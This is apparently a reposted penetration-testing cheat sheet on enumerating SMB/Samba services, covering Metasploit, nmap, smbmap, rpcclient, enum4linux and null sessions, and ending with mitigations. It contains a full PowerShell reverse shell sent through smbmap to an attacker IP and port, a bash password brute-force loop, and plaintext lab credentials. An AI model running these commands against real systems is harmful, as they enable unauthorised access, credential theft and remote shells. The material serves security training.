• The name Samba comes from SMB (Server Message Block), the name of the standard protocol used by the Microsoft Windows network file system.

Enumeration

Metasploit

All these are modules that can help scan SMB

1. Identify SMB1 version

• use auxiliary/scanner/smb/smb1
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

Картинка с сайта: vk9-sec.com

2. Identifies SMB2

• use auxiliary/scanner/smb/smb2
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

Картинка с сайта: vk9-sec.com

3. Enumerate Shares

• auxiliary/scanner/smb/smb_enumshares
• set RHOST 192.168.0.10
• set RPORT 139
• exploit

Картинка с сайта: vk9-sec.com

4. Enumerate users (can set a list of users and passwords to test)

• auxiliary/scanner/smb/smb_enumusers
• set RHOST 192.168.0.10
• set RPORT 139
• exploit
• show options

Картинка с сайта: vk9-sec.com

These are additional modules that can be used for further enumeration

• auxiliary/scanner/smb/smb_login
• auxiliary/scanner/smb/smb_lookupsid
• auxiliary/scanner/smb/smb_ms17_010
• auxiliary/scanner/smb/smb_uninit_cred
• auxiliary/scanner/smb/smb_version
• auxiliary/scanner/smb/smb_enum_gpp
• auxiliary/scanner/smb/smb_enumusers_domain

Nmap

1. Basic SMB enumeration scripts

• nmap -p 139, 445 –script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users 192.168.0.10
• nmap –script smb-enum* -p 139,445 192.168.0.10

Картинка с сайта: vk9-sec.com

2. Scanning for known vulnerabilities

• nmap -p 139, 445 –script smb-vuln-conficker,smb-vuln-cve-2017-7494,smb-vuln-cve2009-3103,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-regsvc-dos,smb-vuln-webexec 192.168.0.10
• nmap –script smb-vuln* -p 139,445 192.168.0.10

Картинка с сайта: vk9-sec.com

3. Host information

• nmap -p 139, 445 –script smb-os-discovery,smb-protocols,smb-psexec,smb-security-mode,smb-server-stats,smb-system-info 192.168.0.10

Картинка с сайта: vk9-sec.com

4. Scan for SMB2

nmap -p 139, 445 –script smb2-capabilities,smb2-security-mode,smb2-time,smb2-vuln-uptime 192.168.0.10

nmblookup

NetBIOS over TCP/IP client used to lookup NetBIOS names

-A, –lookup-by-ip = Do a node status on <name> as an IP Address

• nmblookup -A 192.168.0.10

Картинка с сайта: vk9-sec.com

smbmap

SMB enumeration tool

1. Enumerate Shares

-H HOST = IP of host

-P PORT = SMB port (default 445)

• smbmap -H 192.168.0.10
• smbmap -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

2. Enumerate host OS

-v = Return the OS version of the remote host

• smbmap -v -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

3. Do recursive enumeration of directories and files based on a shares

-r [PATH] = List contents of directory, default is to list root of all shares, ex. -r ‘C$\Documents’

• smbmap -r ‘kathy’ -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

-R [PATH] = Recursively list dirs, and files (no share\path lists ALL shares), ex. ‘C$\Finance’

• smbmap -R ‘kathy’ -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

4. Only show READ/WRITE directories

-q = Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search

• smbmap -P 139 -H 192.168.0.10 -q

Картинка с сайта: vk9-sec.com

5. Display help menu

• smbmap –help

Картинка с сайта: vk9-sec.com

6. Download files from a share

–download PATH = Download a file from the remote system, ex.’C$\temp\passwords.txt’

• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10
• smbmap -P 139 -H 192.168.0.10 –download ‘tmp\ls’
• ls -l 192.168.0.10-tmp_ls
• cat 192.168.0.10-tmp_ls

Картинка с сайта: vk9-sec.com

7. Upload a file to a share, need write access

–upload SRC DST = Upload a file to the remote system ex. ‘/tmp/payload.exe C$\temp\payload.exe’

• smbmap -P 139 -H 192.168.0.10 –upload “test.txt” ‘tmp\test.txt’
• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

8. Delete files

–delete PATH TO FILE = Delete a remote file, ex. ‘C$\temp\msf.exe’

• smbmap -P 139 -H 192.168.0.10 –delete ‘tmp\test.txt’
• smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

Картинка с сайта: vk9-sec.com

9. You can use User credentials to check on the shares

-u USERNAME = Username, if omitted null session assumed

-p PASSWORD = Password or NTLM hash

• smbmap -u SHayslett -p SHayslett -H 192.168.0.10 -P 139

Картинка с сайта: vk9-sec.com

10 You can execute systems commands

-x COMMAND = Execute a command ex. ‘ipconfig /all’

• smbmap -x ‘ifconfig’ -H 192.168.0.10

11. Specify a domain and share

-s SHARE = Specify a share (default C$), ex ‘C$’

-d DOMAIN = Domain name (default WORKGROUP)

• smbmap -d WORKGROUP -s kathy -H 192.168.0.10

12. Reverse shell

• smbmap -u jsmith -p ‘R33nisP!nckle’ -d ABC -H 192.168.2.50 -x ‘powershell -command “function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=””””192.168.0.153″”””; $port=””””4445″”””;$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=””””cmd.exe”””” ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length – $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=”””” “”””}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};”‘

enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems.

1. Display basic help

• enum4linux –help

Картинка с сайта: vk9-sec.com

2. Basic command to run all the scripts

-a = Do all simple enumeration (-U -S -G -P -r -o -n -i)

• enum4linux -a 192.168.0.10

Картинка с сайта: vk9-sec.com

3. You can specify a username and password if you know one

-u user specify username to use (default “”)

-p pass specify password to use (default “”)

• enum4linux -u user -p password 192.168.0.10

4. Check to see if a user exists on the system

-k user = User(s) that exists on remote system (default: administrator,guest,krbtgt,domain,admins,root,bin,none)

• enum4linux -k Ronaldo 192.168.0.10

nbtscan

This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares.

1. Basic help

• nbtscan

Картинка с сайта: vk9-sec.com

2. Basic scan, it can be an IP or a network range

• nbtscan 192.168.0.10

Картинка с сайта: vk9-sec.com

3. Use local port 137 for scans

-r use local port 137 for scans. Win95 boxes respond to this only.

• nbtscan 192.168.0.10 -r

rpcclient

rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself

1. Display basic help

• rpcclient –help

Картинка с сайта: vk9-sec.com

2. Stablish a null session, only available in SMB1

-N, –no-pass = Don’t ask for a password

• rpcclient -U “” -N 192.168.0.10

Картинка с сайта: vk9-sec.com

3. Having a communication you can enumerate more than you think

• srvinfo

Картинка с сайта: vk9-sec.com

• querydominfo

• getdompwinfo

• netshareenum

Картинка с сайта: vk9-sec.com

4. Using credentials can help explore more than what null session provides

• rpcclient -U james 10.10.10.52
• <Password> – J@m3s_P@ssW0rd!

Картинка с сайта: vk9-sec.com

5. Enumerate users (RID)

• enumdomusers

• queryuser 0x1f4

Картинка с сайта: vk9-sec.com

• lookupnames administrator

Картинка с сайта: vk9-sec.com

6. Enumerate groups (RID)

• enumdomgroups

Картинка с сайта: vk9-sec.com

• querygroup 0x201

Картинка с сайта: vk9-sec.com

• querygroupmem 0x201

Картинка с сайта: vk9-sec.com

• enumalsgroups domain

Картинка с сайта: vk9-sec.com

• enumalsgroups builtin

Картинка с сайта: vk9-sec.com

7. Enumerate credentials

• getdompwinfo

Картинка с сайта: vk9-sec.com

• getusrdompwinfo 0x1f4

Картинка с сайта: vk9-sec.com

8. You can also try to brutefoce by running a command, and test passwords, we know that min_password_length is 7 char

Success

• rpcclient -U james -c “getusername;quit” 10.10.10.52
• rpcclient -U james%J@m3s_P@ssW0rd! -c “getusername;quit” 10.10.10.52

Картинка с сайта: vk9-sec.com

Failure

• rpcclient -U james -c “getusername;quit” 10.10.10.52

Картинка с сайта: vk9-sec.com

Bash script

1. This script will go through a password list and test the rpcclient command until it guesses the password, then writes a file named password_result.txt with the actual hit

• vi smb_bruteforce.sh

Картинка с сайта: vk9-sec.com

for i in `cat pass.txt`; do

if rpcclient -U “james%$i” -c “getusername;quit” 10.10.10.52; then

echo “$i” > password_result.txt

echo “[+] The password is $1 and has been saved in password_result.txt”

fi

done

2. Create a wordlist

• cat pass.txt

Картинка с сайта: vk9-sec.com

3. Run the script

• bash smb_bruteforce.sh

Картинка с сайта: vk9-sec.com

4. Read the result

• cat password_result.txt

Картинка с сайта: vk9-sec.com

smbclient

1. Display help

• smbclient –help

Картинка с сайта: vk9-sec.com

2. Connect

• smbclient -L \\10.10.10.100

Картинка с сайта: vk9-sec.com

3. Null session

• smbclient \\\\10.10.10.100\\ipc$
• help

Картинка с сайта: vk9-sec.com

4. Log in as anonymous

• smbclient -L //10.10.10.100/myshare -U anonymous

nullinux

Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB.

If no username and password are provided in the command line arguments, an anonymous login, or null session, is attempted.

https://github.com/m8r0wn/nullinux

1. Download the tool

• git clone https://github.com/m8r0wn/nullinux.git

Картинка с сайта: vk9-sec.com

2. Run the install script

• cd nullinux
• ls
• sudo bash setup.sh

Картинка с сайта: vk9-sec.com

3. Install python modules (in this case I needed ipparser)

• sudo pip3 install ipparser

Картинка с сайта: vk9-sec.com

4. Run the tool, help menu

-h, –help = show this help message and exit

• python3 nullinux.py -h

Картинка с сайта: vk9-sec.com

5. Basic scan

• python3 nullinux.py 10.10.10.100

Картинка с сайта: vk9-sec.com

6. Using Credentials can give us more information

-u USERNAME, -U USERNAME

-p PASSWORD, -P PASSWORD

• python3 nullinux.py -u james -p J@m3s_P@ssW0rd! 10.10.10.52

Картинка с сайта: vk9-sec.com

Bonus

SMB – Null Session

Net BIOS null Sessions occurs when you connect any remote system without user-name and password. It is usually found in systems with Common Internet File System (CIFS) or Server Message Block (SMB) depending on operating system.

By default null sessions are enabled in Windows 2000 and Windows NT. Actually it is also enabled by default in Windows XP and Windows 2003 Server but they don’t allow enumeration of user accounts.

Null session functionality within the SMB protocol, Null Sessions are a ‘feature’ of Windows allowing an anonymous user to connect to the IPC$ share and enumerate certain information.

Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. Folders followed by “$” are hidden.

IPC$ is a special share that is used to facilitate inter-process communication (IPC). That is, it doesn’t allow one to access files or directories like other shares, but rather allows one to communicate with processes running on the remote system.

Connect

Windows:

• net use \\IP_ADDRESS\ipc$ “” /user:””
• net use \\192.168.23.1\ipc$ /u:”” “”
• <enter>
• net use
• net view \\192.168.1.1

Linux:

• rpcclient -U “” IP_ADDRESS
• <enter>

or

• smbclient -L //<IP ADDRESS>
• <enter>

Картинка с сайта: vk9-sec.com

• smbclient //10.10.10.100/Replication
• recurse ON
• prompt OFF
• mget *

Картинка с сайта: vk9-sec.com

This one is used to download all the files from the share, when anonymous log in is enabled.

Картинка с сайта: vk9-sec.com

As an example you could get Groups.xml (deprecated on newer windows 2012, 2016)

Картинка с сайта: vk9-sec.com

gpp-decrypt is used against the hash

smbmap

1. SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.

• smbmap -H 10.10.10.100

Картинка с сайта: vk9-sec.com

2. Use SMB client to login to the file share that you show any permission READ/WRITE, use a fake user if it fails to connect

Картинка с сайта: vk9-sec.com

• smbmap -u <any user> -H <IP ADDRESS>

Картинка с сайта: vk9-sec.com

3. This one below shows recursive listing. Letting us through the share files.

• smbmap -R <Replication> -H 10.10.10.100 -A <Groups.xml> -q
• smbmap -R -H 10.10.10.100

Картинка с сайта: vk9-sec.com

4. This one is for finding a file, if matches, it downloads it.

• smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100

Картинка с сайта: vk9-sec.com

Using credentials, we may find more permissions.

While connected here are some interesting commands:

‘enumdomusers’, ‘netshareenum’, ‘netshareenumall’, ‘querydominfo’, “netsharegetinfo”, “srvinfo”, “getdompwinfo”, “enumdomgroups”, “querygroup”, “queryuser”, “lookupnames”, “queryaliasmem”, “querygroupmem”, “lookupsids”

Mounting the share to reveal the contents:

1. Create a directory to mount

• mkdir /mnt/smb

2. mount it

• mount -t cifs //<IP ADDRESS>/Backups /mnt/smb
• <enter>

3. show it mounted

• ls -lR /mnt/smb

Картинка с сайта: vk9-sec.com

Tools

Getacct: https://packetstormsecurity.com/search/files/?q=GetAcct

1. rpcbind

2. net use (windows)

3. enum4linux

4. nmap

5. nbtstat (windows)

6. Nmblookup

7. metasploit

(alternatives)

1. Winfo: http://www.ntsecurity.nu/toolbox/winfo/

• Windows domain to which the system belongs
• Security policy settings
• Local usernames
• Drive shares

2. DumpSec: https://www.systemtools.com/somarsoft/index.html

3. Netusers: https://www.systemtools.com/cgi-bin/download.pl?NetUsers

• Abused account privileges
• Users currently logged into the system

4. RID_ENUM: https://github.com/trustedsec/ridenum

Solution

This vulnerability can be mitigated by setting the DWORD value ‘RestrictAnonymous’ to 1 in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA

Block NetBIOS on your Windows server by preventing these TCP ports from passing through your network firewall or personal firewall:

1. 139 (NetBIOS sessions services)
2. 445 (runs SMB over TCP/IP without NetBIOS)

Disable File and Printer Sharing for Microsoft Networks in the Properties tab of the machine’s network connection for those systems that don’t need it.

Docs

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-localsystem-null-session-fallback

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares

https://www.beyondsecurity.com/scan_pentest_network_vulnerabilities_null_session_availablesmb

https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/